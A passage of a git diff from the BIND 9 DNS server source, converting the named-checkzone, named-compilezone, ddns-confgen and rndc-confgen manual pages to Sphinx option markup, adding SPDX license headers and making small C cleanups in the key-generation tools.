-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. highlight: console
 
+.. BEWARE: Do not forget to edit also named-compilezone.rst!
 
-.. highlight: console
+.. iscman:: named-checkzone
+.. program:: named-checkzone
+.. _man_named-checkzone:
 
-named-checkzone, named-compilezone - zone file validity checking or converting tool
------------------------------------------------------------------------------------
+named-checkzone - zone file validation tool
+-------------------------------------------
 
 Synopsis
 ~~~~~~~~
 
-:program:`named-checkzone` [**-d**] [**-h**] [**-j**] [**-q**] [**-v**] [**-c** class] [**-f** format] [**-F** format] [**-J** filename] [**-i** mode] [**-k** mode] [**-m** mode] [**-M** mode] [**-n** mode] [**-l** ttl] [**-L** serial] [**-o** filename] [**-r** mode] [**-s** style] [**-S** mode] [**-t** directory] [**-T** mode] [**-w** directory] [**-D**] [**-W** mode] {zonename} {filename}
-
-:program:`named-compilezone` [**-d**] [**-j**] [**-q**] [**-v**] [**-c** class] [**-C** mode] [**-f** format] [**-F** format] [**-J** filename] [**-i** mode] [**-k** mode] [**-m** mode] [**-n** mode] [**-l** ttl] [**-L** serial] [**-r** mode] [**-s** style] [**-t** directory] [**-T** mode] [**-w** directory] [**-D**] [**-W** mode] {**-o** filename} {zonename} {filename}
+:program:`named-checkzone` [**-d**] [**-h**] [**-j**] [**-q**] [**-v**] [**-c** class] [**-C** mode] [**-f** format] [**-F** format] [**-J** filename] [**-i** mode] [**-k** mode] [**-m** mode] [**-M** mode] [**-n** mode] [**-l** ttl] [**-L** serial] [**-o** filename] [**-r** mode] [**-s** style] [**-S** mode] [**-t** directory] [**-T** mode] [**-w** directory] [**-D**] [**-W** mode] {zonename} {filename}
 
 Description
 ~~~~~~~~~~~
 
-``named-checkzone`` checks the syntax and integrity of a zone file. It
-performs the same checks as ``named`` does when loading a zone. This
-makes ``named-checkzone`` useful for checking zone files before
+:program:`named-checkzone` checks the syntax and integrity of a zone file. It
+performs the same checks as :iscman:`named` does when loading a zone. This
+makes :program:`named-checkzone` useful for checking zone files before
 configuring them into a name server.
 
-``named-compilezone`` is similar to ``named-checkzone``, but it always
-dumps the zone contents to a specified file in a specified format.
-It also applies stricter check levels by default, since the
-dump output is used as an actual zone file loaded by ``named``.
-When manually specified otherwise, the check levels must at least be as
-strict as those specified in the ``named`` configuration file.
-
 Options
 ~~~~~~~
 
-``-d``
+.. option:: -d
+
    This option enables debugging.
 
-``-h``
+.. option:: -h
+
    This option prints the usage summary and exits.
 
-``-q``
+.. option:: -q
+
    This option sets quiet mode, which only sets an exit code to indicate
    successful or failed completion.
 
-``-v``
-   This option prints the version of the ``named-checkzone`` program and exits.
+.. option:: -v
+
+   This option prints the version of the :program:`named-checkzone` program and exits.
+
+.. option:: -j
 
-``-j``
-   When loading a zone file, this option tells ``named`` to read the journal if it exists. The journal
+   When loading a zone file, this option tells :iscman:`named` to read the journal if it exists. The journal
    file name is assumed to be the zone file name with the
    string ``.jnl`` appended.
 
-``-J filename``
-   When loading the zone file, this option tells ``named`` to read the journal from the given file, if
-   it exists. This implies ``-j``.
+.. option:: -J filename
+
+   When loading the zone file, this option tells :iscman:`named` to read the journal from the given file, if
+   it exists. This implies :option:`-j`.
+
+.. option:: -c class
 
-``-c class``
    This option specifies the class of the zone. If not specified, ``IN`` is assumed.
 
-``-i mode``
+.. option:: -C mode
+
+   This option controls check mode on zone files when loading.
+   Possible modes are ``check-svcb:fail`` and ``check-svcb:ignore``.
+
+   ``check-svcb:fail`` turns on additional checks on ``_dns`` SVCB
+   records and ``check-svcb:ignore`` disables these checks.  The
+   default is ``check-svcb:fail``.
+
+.. option:: -i mode
+
    This option performs post-load zone integrity checks. Possible modes are
    ``full`` (the default), ``full-sibling``, ``local``,
    ``local-sibling``, and ``none``.
@@ -100,114 +104,128 @@ Options
 
    Mode ``none`` disables the checks.
 
-``-f format``
-   This option specifies the format of the zone file. Possible formats are ``text``
-   (the default), ``raw``, and ``map``.
+.. option:: -f format
+
+   This option specifies the format of the zone file. Possible formats are
+   ``text`` (the default), and ``raw``.
+
+.. option:: -F format
 
-``-F format``
    This option specifies the format of the output file specified. For
-   ``named-checkzone``, this does not have any effect unless it dumps
+   :program:`named-checkzone`, this does not have any effect unless it dumps
    the zone contents.
 
    Possible formats are ``text`` (the default), which is the standard
-   textual representation of the zone, and ``map``, ``raw``, and
-   ``raw=N``, which store the zone in a binary format for rapid
-   loading by ``named``. ``raw=N`` specifies the format version of the
-   raw zone file: if ``N`` is 0, the raw file can be read by any version of
-   ``named``; if N is 1, the file can only be read by release 9.9.0 or
-   higher. The default is 1.
-
-``-k mode``
+   textual representation of the zone, and ``raw`` and ``raw=N``, which
+   store the zone in a binary format for rapid loading by :iscman:`named`.
+   ``raw=N`` specifies the format version of the raw zone file: if ``N`` is
+   0, the raw file can be read by any version of :iscman:`named`; if N is 1, the
+   file can only be read by release 9.9.0 or higher. The default is 1.
+
+.. option:: -k mode
+
    This option performs ``check-names`` checks with the specified failure mode.
-   Possible modes are ``fail`` (the default for ``named-compilezone``),
-   ``warn`` (the default for ``named-checkzone``), and ``ignore``.
+   Possible modes are ``fail``, ``warn`` (the default), and ``ignore``.
+
+.. option:: -l ttl
 
-``-l ttl``
    This option sets a maximum permissible TTL for the input file. Any record with a
    TTL higher than this value causes the zone to be rejected. This
-   is similar to using the ``max-zone-ttl`` option in ``named.conf``.
+   is similar to using the ``max-zone-ttl`` option in :iscman:`named.conf`.
+
+.. option:: -L serial
 
-``-L serial``
-   When compiling a zone to ``raw`` or ``map`` format, this option sets the "source
+   When compiling a zone to ``raw`` format, this option sets the "source
    serial" value in the header to the specified serial number. This is
    expected to be used primarily for testing purposes.
 
-``-m mode``
+.. option:: -m mode
+
    This option specifies whether MX records should be checked to see if they are
    addresses. Possible modes are ``fail``, ``warn`` (the default), and
    ``ignore``.
 
-``-M mode``
+.. option:: -M mode
+
    This option checks whether a MX record refers to a CNAME. Possible modes are
    ``fail``, ``warn`` (the default), and ``ignore``.
 
-``-n mode``
+.. option:: -n mode
+
    This option specifies whether NS records should be checked to see if they are
-   addresses. Possible modes are ``fail`` (the default for
-   ``named-compilezone``), ``warn`` (the default for ``named-checkzone``),
-   and ``ignore``.
+   addresses. Possible modes are ``fail``, ``warn`` (the default), and ``ignore``.
+
+.. option:: -o filename
 
-``-o filename``
    This option writes the zone output to ``filename``. If ``filename`` is ``-``, then
-   the zone output is written to standard output. This is mandatory for ``named-compilezone``.
+   the zone output is written to standard output.
+
+.. option:: -r mode
 
-``-r mode``
    This option checks for records that are treated as different by DNSSEC but are
    semantically equal in plain DNS. Possible modes are ``fail``,
    ``warn`` (the default), and ``ignore``.
 
-``-s style``
+.. option:: -s style
+
    This option specifies the style of the dumped zone file. Possible styles are
    ``full`` (the default) and ``relative``. The ``full`` format is most
    suitable for processing automatically by a separate script.
    The relative format is more human-readable and is thus
-   suitable for editing by hand. For ``named-checkzone``, this does not
-   have any effect unless it dumps the zone contents. It also does not
-   have any meaning if the output format is not text.
+   suitable for editing by hand. This does not have any effect unless it dumps
+   the zone contents. It also does not have any meaning if the output format
+   is not text.
+
+.. option:: -S mode
 
-``-S mode``
    This option checks whether an SRV record refers to a CNAME. Possible modes are
    ``fail``, ``warn`` (the default), and ``ignore``.
 
-``-t directory``
-   This option tells ``named`` to chroot to ``directory``, so that ``include`` directives in the
+.. option:: -t directory
+
+   This option tells :iscman:`named` to chroot to ``directory``, so that ``include`` directives in the
    configuration file are processed as if run by a similarly chrooted
-   ``named``.
+   :iscman:`named`.
+
+.. option:: -T mode
 
-``-T mode``
    This option checks whether Sender Policy Framework (SPF) records exist and issues a
    warning if an SPF-formatted TXT record is not also present. Possible
    modes are ``warn`` (the default) and ``ignore``.
 
-``-w directory``
-   This option instructs ``named`` to chdir to ``directory``, so that relative filenames in master file
+.. option:: -w directory
+
+   This option instructs :iscman:`named` to chdir to ``directory``, so that relative filenames in master file
    ``$INCLUDE`` directives work. This is similar to the directory clause in
-   ``named.conf``.
+   :iscman:`named.conf`.
 
-``-D``
-   This option dumps the zone file in canonical format. This is always enabled for
-   ``named-compilezone``.
+.. option:: -D
+
+   This option dumps the zone file in canonical format.
+
+.. option:: -W mode
 
-``-W mode``
    This option specifies whether to check for non-terminal wildcards. Non-terminal
    wildcards are almost always the result of a failure to understand the
-   wildcard matching algorithm (:rfc:`1034`). Possible modes are ``warn``
+   wildcard matching algorithm (:rfc:`4592`). Possible modes are ``warn``
    (the default) and ``ignore``.
 
-``zonename``
+.. option:: zonename
+
    This indicates the domain name of the zone being checked.
 
-``filename``
+.. option:: filename
+
    This is the name of the zone file.
 
 Return Values
 ~~~~~~~~~~~~~
 
-``named-checkzone`` returns an exit status of 1 if errors were detected
+:program:`named-checkzone` returns an exit status of 1 if errors were detected
 and 0 otherwise.
 
 See Also
 ~~~~~~~~
 
-:manpage:`named(8)`, :manpage:`named-checkconf(8)`, :rfc:`1035`, BIND 9 Administrator Reference
+:iscman:`named(8) <named>`, :iscman:`named-checkconf(8) <named-checkconf>`, :iscman:`named-compilezone(8) <named-compilezone>`, :rfc:`1035`, BIND 9 Administrator Reference
 Manual.
diff --git a/bin/check/named-compilezone.rst b/bin/check/named-compilezone.rst
new file mode 100644
index 0000000000..0b4c98d449
--- /dev/null
+++ b/bin/check/named-compilezone.rst
@@ -0,0 +1,233 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. highlight: console
+
+.. BEWARE: Do not forget to edit also named-checkzone.rst!
+
+.. iscman:: named-compilezone
+.. program:: named-compilezone
+.. _man_named-compilezone:
+
+named-compilezone - zone file converting tool
+---------------------------------------------
+
+Synopsis
+~~~~~~~~
+
+:program:`named-compilezone` [**-d**] [**-h**] [**-j**] [**-q**] [**-v**] [**-c** class] [**-C** mode] [**-f** format] [**-F** format] [**-J** filename] [**-i** mode] [**-k** mode] [**-m** mode] [**-M** mode] [**-n** mode] [**-l** ttl] [**-L** serial] [**-r** mode] [**-s** style] [**-S** mode] [**-t** directory] [**-T** mode] [**-w** directory] [**-D**] [**-W** mode] {**-o** filename} {zonename} {filename}
+
+Description
+~~~~~~~~~~~
+
+:program:`named-compilezone` checks the syntax and integrity of a zone file,
+and dumps the zone contents to a specified file in a specified format.
+It applies strict check levels by default, since the
+dump output is used as an actual zone file loaded by :iscman:`named`.
+When manually specified otherwise, the check levels must at least be as
+strict as those specified in the :iscman:`named` configuration file.
+
+Options
+~~~~~~~
+
+.. option:: -d
+
+   This option enables debugging.
+
+.. option:: -h
+
+   This option prints the usage summary and exits.
+
+.. option:: -q
+
+   This option sets quiet mode, which only sets an exit code to indicate
+   successful or failed completion.
+
+.. option:: -v
+
+   This option prints the version of the :iscman:`named-checkzone` program and exits.
+
+.. option:: -j
+
+   When loading a zone file, this option tells :iscman:`named` to read the journal if it exists. The journal
+   file name is assumed to be the zone file name with the
+   string ``.jnl`` appended.
+
+.. option:: -J filename
+
+   When loading the zone file, this option tells :iscman:`named` to read the journal from the given file, if
+   it exists. This implies :option:`-j`.
+
+.. option:: -c class
+
+   This option specifies the class of the zone. If not specified, ``IN`` is assumed.
+
+.. option:: -C mode
+
+   This option controls check mode on zone files when loading.
+   Possible modes are ``check-svcb:fail`` and ``check-svcb:ignore``.
+
+   ``check-svcb:fail`` turns on additional checks on ``_dns`` SVCB
+   records and ``check-svcb:ignore`` disables these checks.  The
+   default is ``check-svcb:fail``.
+
+.. option:: -i mode
+
+   This option performs post-load zone integrity checks. Possible modes are
+   ``full`` (the default), ``full-sibling``, ``local``,
+   ``local-sibling``, and ``none``.
+
+   Mode ``full`` checks that MX records refer to A or AAAA records
+   (both in-zone and out-of-zone hostnames). Mode ``local`` only
+   checks MX records which refer to in-zone hostnames.
+
+   Mode ``full`` checks that SRV records refer to A or AAAA records
+   (both in-zone and out-of-zone hostnames). Mode ``local`` only
+   checks SRV records which refer to in-zone hostnames.
+
+   Mode ``full`` checks that delegation NS records refer to A or AAAA
+   records (both in-zone and out-of-zone hostnames). It also checks that
+   glue address records in the zone match those advertised by the child.
+   Mode ``local`` only checks NS records which refer to in-zone
+   hostnames or verifies that some required glue exists, i.e., when the
+   name server is in a child zone.
+
+   Modes ``full-sibling`` and ``local-sibling`` disable sibling glue
+   checks, but are otherwise the same as ``full`` and ``local``,
+   respectively.
+
+   Mode ``none`` disables the checks.
+
+.. option:: -f format
+
+   This option specifies the format of the zone file. Possible formats are
+   ``text`` (the default), and ``raw``.
+
+.. option:: -F format
+
+   This option specifies the format of the output file specified. For
+   :iscman:`named-checkzone`, this does not have any effect unless it dumps
+   the zone contents.
+
+   Possible formats are ``text`` (the default), which is the standard
+   textual representation of the zone, and ``raw`` and ``raw=N``, which
+   store the zone in a binary format for rapid loading by :iscman:`named`.
+   ``raw=N`` specifies the format version of the raw zone file: if ``N`` is
+   0, the raw file can be read by any version of :iscman:`named`; if N is 1, the
+   file can only be read by release 9.9.0 or higher. The default is 1.
+
+.. option:: -k mode
+
+   This option performs ``check-names`` checks with the specified failure mode.
+   Possible modes are ``fail`` (the default), ``warn``, and ``ignore``.
+
+.. option:: -l ttl
+
+   This option sets a maximum permissible TTL for the input file. Any record with a
+   TTL higher than this value causes the zone to be rejected. This
+   is similar to using the ``max-zone-ttl`` option in :iscman:`named.conf`.
+
+.. option:: -L serial
+
+   When compiling a zone to ``raw`` format, this option sets the "source
+   serial" value in the header to the specified serial number. This is
+   expected to be used primarily for testing purposes.
+
+.. option:: -m mode
+
+   This option specifies whether MX records should be checked to see if they are
+   addresses. Possible modes are ``fail``, ``warn`` (the default), and
+   ``ignore``.
+
+.. option:: -M mode
+
+   This option checks whether a MX record refers to a CNAME. Possible modes are
+   ``fail``, ``warn`` (the default), and ``ignore``.
+
+.. option:: -n mode
+
+   This option specifies whether NS records should be checked to see if they are
+   addresses. Possible modes are ``fail`` (the default), ``warn``,  and
+   ``ignore``.
+
+.. option:: -o filename
+
+   This option writes the zone output to ``filename``. If ``filename`` is ``-``, then
+   the zone output is written to standard output. This is mandatory for :program:`named-compilezone`.
+
+.. option:: -r mode
+
+   This option checks for records that are treated as different by DNSSEC but are
+   semantically equal in plain DNS. Possible modes are ``fail``,
+   ``warn`` (the default), and ``ignore``.
+
+.. option:: -s style
+
+   This option specifies the style of the dumped zone file. Possible styles are
+   ``full`` (the default) and ``relative``. The ``full`` format is most
+   suitable for processing automatically by a separate script.
+   The relative format is more human-readable and is thus
+   suitable for editing by hand.
+
+.. option:: -S mode
+
+   This option checks whether an SRV record refers to a CNAME. Possible modes are
+   ``fail``, ``warn`` (the default), and ``ignore``.
+
+.. option:: -t directory
+
+   This option tells :iscman:`named` to chroot to ``directory``, so that ``include`` directives in the
+   configuration file are processed as if run by a similarly chrooted
+   :iscman:`named`.
+
+.. option:: -T mode
+
+   This option checks whether Sender Policy Framework (SPF) records exist and issues a
+   warning if an SPF-formatted TXT record is not also present. Possible
+   modes are ``warn`` (the default) and ``ignore``.
+
+.. option:: -w directory
+
+   This option instructs :iscman:`named` to chdir to ``directory``, so that relative filenames in master file
+   ``$INCLUDE`` directives work. This is similar to the directory clause in
+   :iscman:`named.conf`.
+
+.. option:: -D
+
+   This option dumps the zone file in canonical format. This is always enabled for
+   :program:`named-compilezone`.
+
+.. option:: -W mode
+
+   This option specifies whether to check for non-terminal wildcards. Non-terminal
+   wildcards are almost always the result of a failure to understand the
+   wildcard matching algorithm (:rfc:`4592`). Possible modes are ``warn``
+   (the default) and ``ignore``.
+
+.. option:: zonename
+
+   This indicates the domain name of the zone being checked.
+
+.. option:: filename
+
+   This is the name of the zone file.
+
+Return Values
+~~~~~~~~~~~~~
+
+:program:`named-compilezone` returns an exit status of 1 if errors were detected
+and 0 otherwise.
+
+See Also
+~~~~~~~~
+
+:iscman:`named(8) <named>`, :iscman:`named-checkconf(8) <named-checkconf>`, :iscman:`named-checkzone(8) <named-checkzone>`, :rfc:`1035`,
+BIND 9 Administrator Reference Manual.
diff --git a/bin/confgen/Makefile.am b/bin/confgen/Makefile.am
index d43aa2004a..c1dca43194 100644
--- a/bin/confgen/Makefile.am
+++ b/bin/confgen/Makefile.am
@@ -5,7 +5,7 @@ AM_CPPFLAGS +=			\
 	$(LIBDNS_CFLAGS)	\
 	-DRNDC_KEYFILE=\"${sysconfdir}/rndc.key\"
 
-LDADD =				\
+LDADD +=			\
 	libconfgen.la		\
 	$(LIBISC_LIBS)		\
 	$(LIBDNS_LIBS)
diff --git a/bin/confgen/ddns-confgen.rst b/bin/confgen/ddns-confgen.rst
new file mode 100644
index 0000000000..9dd9d5ef5f
--- /dev/null
+++ b/bin/confgen/ddns-confgen.rst
@@ -0,0 +1,96 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. highlight: console
+
+.. BEWARE: Do not forget to edit also tsig-keygen.rst!
+
+.. iscman:: ddns-confgen
+.. program:: ddns-confgen
+.. _man_ddns-confgen:
+
+ddns-confgen - TSIG key generation tool
+---------------------------------------
+
+Synopsis
+~~~~~~~~
+:program:`ddns-confgen` [**-a** algorithm] [**-h**] [**-k** keyname] [**-q**] [**-s** name] [**-z** zone]
+
+Description
+~~~~~~~~~~~
+
+:program:`ddns-confgen` is an utility that generates keys for use in TSIG signing.
+The resulting keys can be used, for example, to secure dynamic DNS updates
+to a zone, or for the :iscman:`rndc` command channel.
+
+The key name can specified using :option:`-k` parameter and defaults to ``ddns-key``.
+The generated key is accompanied by configuration text and instructions that
+can be used with :iscman:`nsupdate` and :iscman:`named` when setting up dynamic DNS,
+including an example ``update-policy`` statement.
+(This usage is similar to the :iscman:`rndc-confgen` command for setting up
+command-channel security.)
+
+Note that :iscman:`named` itself can configure a local DDNS key for use with
+:option:`nsupdate -l`; it does this when a zone is configured with
+``update-policy local;``. :program:`ddns-confgen` is only needed when a more
+elaborate configuration is required: for instance, if :iscman:`nsupdate` is to
+be used from a remote system.
+
+Options
+~~~~~~~
+
+.. option:: -a algorithm
+
+   This option specifies the algorithm to use for the TSIG key. Available
+   choices are: hmac-md5, hmac-sha1, hmac-sha224, hmac-sha256, hmac-sha384,
+   and hmac-sha512. The default is hmac-sha256. Options are
+   case-insensitive, and the "hmac-" prefix may be omitted.
+
+.. option:: -h
+
+   This option prints a short summary of options and arguments.
+
+.. option:: -k keyname
+
+   This option specifies the key name of the DDNS authentication key. The
+   default is ``ddns-key`` when neither the :option:`-s` nor :option:`-z` option is
+   specified; otherwise, the default is ``ddns-key`` as a separate label
+   followed by the argument of the option, e.g., ``ddns-key.example.com.``
+   The key name must have the format of a valid domain name, consisting of
+   letters, digits, hyphens, and periods.
+
+.. option:: -q
+
+   This option enables quiet mode, which prints only the key, with no
+   explanatory text or usage examples. This is essentially identical to
+   :iscman:`tsig-keygen`.
+
+.. option:: -s name
+
+   This option generates a configuration example to allow dynamic updates
+   of a single hostname. The example :iscman:`named.conf` text shows how to set
+   an update policy for the specified name using the "name" nametype. The
+   default key name is ``ddns-key.name``. Note that the "self" nametype
+   cannot be used, since the name to be updated may differ from the key
+   name. This option cannot be used with the :option:`-z` option.
+
+.. option:: -z zone
+
+   This option generates a configuration example to allow
+   dynamic updates of a zone. The example :iscman:`named.conf` text shows how
+   to set an update policy for the specified zone using the "zonesub"
+   nametype, allowing updates to all subdomain names within that zone.
+   This option cannot be used with the :option:`-s` option.
+
+See Also
+~~~~~~~~
+
+:iscman:`nsupdate(1) <nsupdate>`, :iscman:`named.conf(5) <named.conf>`, :iscman:`named(8) <named>`, BIND 9 Administrator Reference Manual.
diff --git a/bin/confgen/include/confgen/os.h b/bin/confgen/include/confgen/os.h
index acb50ae718..2a924a30b1 100644
--- a/bin/confgen/include/confgen/os.h
+++ b/bin/confgen/include/confgen/os.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,8 +13,7 @@
 
 /*! \file */
 
-#ifndef RNDC_OS_H
-#define RNDC_OS_H 1
+#pragma once
 
 #include <stdio.h>
 
@@ -30,5 +31,3 @@ set_user(FILE *fd, const char *user);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ifndef RNDC_OS_H */
diff --git a/bin/confgen/keygen.c b/bin/confgen/keygen.c
index a0840834d8..4698d1a078 100644
--- a/bin/confgen/keygen.c
+++ b/bin/confgen/keygen.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,12 +21,9 @@
 #include <isc/buffer.h>
 #include <isc/file.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/string.h>
 
-#include <pk11/site.h>
-
 #include <dns/keyvalues.h>
 #include <dns/name.h>
 
@@ -34,29 +33,6 @@
 
 #include "util.h"
 
-/*%
- * Convert algorithm type to string.
- */
-const char *
-alg_totext(dns_secalg_t alg) {
-	switch (alg) {
-	case DST_ALG_HMACMD5:
-		return ("hmac-md5");
-	case DST_ALG_HMACSHA1:
-		return ("hmac-sha1");
-	case DST_ALG_HMACSHA224:
-		return ("hmac-sha224");
-	case DST_ALG_HMACSHA256:
-		return ("hmac-sha256");
-	case DST_ALG_HMACSHA384:
-		return ("hmac-sha384");
-	case DST_ALG_HMACSHA512:
-		return ("hmac-sha512");
-	default:
-		return ("(unknown)");
-	}
-}
-
 /*%
  * Convert string to algorithm type.
  */
@@ -175,7 +151,7 @@ void
 write_key_file(const char *keyfile, const char *user, const char *keyname,
 	       isc_buffer_t *secret, dns_secalg_t alg) {
 	isc_result_t result;
-	const char *algname = alg_totext(alg);
+	const char *algname = dst_hmac_algorithm_totext(alg);
 	FILE *fd = NULL;
 
 	DO("create keyfile", isc_file_safecreate(keyfile, &fd));
diff --git a/bin/confgen/keygen.h b/bin/confgen/keygen.h
index c9bc05b170..f5b7a551cd 100644
--- a/bin/confgen/keygen.h
+++ b/bin/confgen/keygen.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef RNDC_KEYGEN_H
-#define RNDC_KEYGEN_H 1
+#pragma once
 
 /*! \file */
 
@@ -38,5 +39,3 @@ int
 alg_bits(dns_secalg_t alg);
 
 ISC_LANG_ENDDECLS
-
-#endif /* RNDC_KEYGEN_H */
diff --git a/bin/confgen/os.c b/bin/confgen/os.c
index 87dcab74aa..445d64bf60 100644
--- a/bin/confgen/os.c
+++ b/bin/confgen/os.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/bin/confgen/rndc-confgen.c b/bin/confgen/rndc-confgen.c
index d53093dfb3..4c2c3cafed 100644
--- a/bin/confgen/rndc-confgen.c
+++ b/bin/confgen/rndc-confgen.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -32,14 +34,11 @@
 #include <isc/file.h>
 #include <isc/mem.h>
 #include <isc/net.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/string.h>
 #include <isc/time.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/keyvalues.h>
 #include <dns/name.h>
 
@@ -61,7 +60,7 @@ bool verbose = false;
 
 const char *keyfile, *keydef;
 
-ISC_NORETURN static void
+noreturn static void
 usage(int status);
 
 static void
@@ -222,7 +221,7 @@ main(int argc, char **argv) {
 	if (keysize < 0) {
 		keysize = alg_bits(alg);
 	}
-	algname = alg_totext(alg);
+	algname = dst_hmac_algorithm_totext(alg);
 
 	isc_mem_create(&mctx);
 	isc_buffer_init(&key_txtbuffer, &key_txtsecret, sizeof(key_txtsecret));
diff --git a/bin/confgen/rndc-confgen.rst b/bin/confgen/rndc-confgen.rst
index 91416f8f1c..0a91489c48 100644
--- a/bin/confgen/rndc-confgen.rst
+++ b/bin/confgen/rndc-confgen.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: rndc-confgen
+.. program:: rndc-confgen
 .. _man_rndc-confgen:
 
 rndc-confgen - rndc key generation tool
@@ -34,86 +26,96 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``rndc-confgen`` generates configuration files for ``rndc``. It can be
-used as a convenient alternative to writing the ``rndc.conf`` file and
-the corresponding ``controls`` and ``key`` statements in ``named.conf``
-by hand. Alternatively, it can be run with the ``-a`` option to set up a
-``rndc.key`` file and avoid the need for a ``rndc.conf`` file and a
+:program:`rndc-confgen` generates configuration files for :iscman:`rndc`. It can be
+used as a convenient alternative to writing the :iscman:`rndc.conf` file and
+the corresponding ``controls`` and ``key`` statements in :iscman:`named.conf`
+by hand. Alternatively, it can be run with the :option:`-a` option to set up a
+``rndc.key`` file and avoid the need for a :iscman:`rndc.conf` file and a
 ``controls`` statement altogether.
 
 Options
 ~~~~~~~
 
-``-a``
-   This option sets automatic ``rndc`` configuration, which creates a file ``rndc.key``
-   in ``/etc`` (or a different ``sysconfdir`` specified when BIND
-   was built) that is read by both ``rndc`` and ``named`` on startup.
+.. option:: -a
+
+   This option sets automatic :iscman:`rndc` configuration, which creates a file
+   |rndc_key| that is read by both :iscman:`rndc` and :iscman:`named` on startup.
    The ``rndc.key`` file defines a default command channel and
-   authentication key allowing ``rndc`` to communicate with ``named`` on
+   authentication key allowing :iscman:`rndc` to communicate with :iscman:`named` on
    the local host with no further configuration.
 
    If a more elaborate configuration than that generated by
-   ``rndc-confgen -a`` is required, for example if rndc is to be used
-   remotely, run ``rndc-confgen`` without the ``-a`` option
-   and set up ``rndc.conf`` and ``named.conf`` as directed.
+   :option:`rndc-confgen -a` is required, for example if rndc is to be used
+   remotely, run :program:`rndc-confgen` without the :option:`-a` option
+   and set up :iscman:`rndc.conf` and :iscman:`named.conf` as directed.
+
+.. option:: -A algorithm
 
-``-A algorithm``
    This option specifies the algorithm to use for the TSIG key. Available choices
    are: hmac-md5, hmac-sha1, hmac-sha224, hmac-sha256, hmac-sha384, and
    hmac-sha512. The default is hmac-sha256.
 
-``-b keysize``
+.. option:: -b keysize
+
    This option specifies the size of the authentication key in bits. The size must be between
    1 and 512 bits; the default is the hash size.
 
-``-c keyfile``
